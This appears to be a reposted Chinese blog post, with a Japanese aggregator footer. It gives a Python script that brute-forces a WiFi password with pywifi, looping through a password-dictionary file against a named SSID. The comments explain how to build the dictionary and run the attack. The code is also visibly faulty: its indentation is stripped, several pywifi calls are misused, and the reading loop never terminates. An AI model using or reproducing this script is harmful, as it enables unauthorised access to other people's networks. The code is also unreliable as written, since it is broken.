#其实破解的方法不是很难,就是模拟我们人输入WiFi密码一样重复循环
#先建立一个密码本存储所有可能的密码,用代码生成或者网上的摘抄,生成密码的时间是随着位数的增加
#而增加的。三位数的密码本(txt)只需要几秒钟就可生成,内存只有几十k,而对于八位数的密码本就可能
#需要很长的时间了,而且内存很大,读取破解的时候可能会出现卡顿(如果没有很好的内核的话)
#生成密码本可以参考我的另一篇博客 https://blog.csdn.net/Msyusheng/article/details/106094544
import pywifi #要安装pywifi和comtypes两个模块
import time
from pywifi import const
#bic()是显示着已连接的WiFi名称与本次程序无关
def bic():
wifi1=pywifi.PyWiFi()
ifaces1=wifi1.interfaces()[0]
ifaces1.scan()
result=ifaces1.scan_results()
for data in result:
print(data.ssid.encode('raw_unicode_escape').decode('utf-8'))
#乱码部分加上encode('raw_unicode_escape').decode('utf-8'))
bic()
#测试连接返回连接窗口
def wificonnect(abc):
#抓取网卡接口
wifi=pywifi.PyWiFi()
#获取第一个网卡接口
iface=wifi.interfaces()[0]
#睡眠一段时间,断开所有连接
iface.disconnect()
time.sleep(1)
wifistatus=iface.status()
if wifistatus==const.IFACE_DISCONNECTED:
print('未连接')
#创建WiFi连接文件
profile=pywifi.profile()
#要连接的WiFi名称
profile.ssid='HONOR 9X'
#网卡的开放
profile.auth=const.AUTH_ALG_OPEN
#WiFi的加密算法
profile.akm.append=(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP
#初始化密码
profile.key=abc
#删除之前连接的所有WiFi
iface.remove_all_network_profiles(profile)
#设定新的连接文件
tep_proifle=iface.add_network_profile()
#用新的文件去测试连接
iface.connect(tep_proifle)
#wifi连接的时间
time.sleep(4)
if iface.status()==const.IFACE_CONNECTED: #const.IFACE_CONNECTED默认等于4想看见他的参数可以自行百度
return True
else:
return False
else:
print('已连接')
def readpassword():
print('开始破解')
f = open("D://1.txt",encoding="utf-8") #先打开文件1.txt是密码是密码字典,可以在网上下载或者自动生成
while True:
try:
passstr=f.readline()
bool=wificonnect(passstr)
if bool:
print('密码正确',passstr)
print('已连接')
else:
print('密码错误',passstr)
except:
continue
readpassword()
PythonクラッキングWiFiパスワード(テスト)
おすすめ
転載: blog.csdn.net/Msyusheng/article/details/106085931
ランキング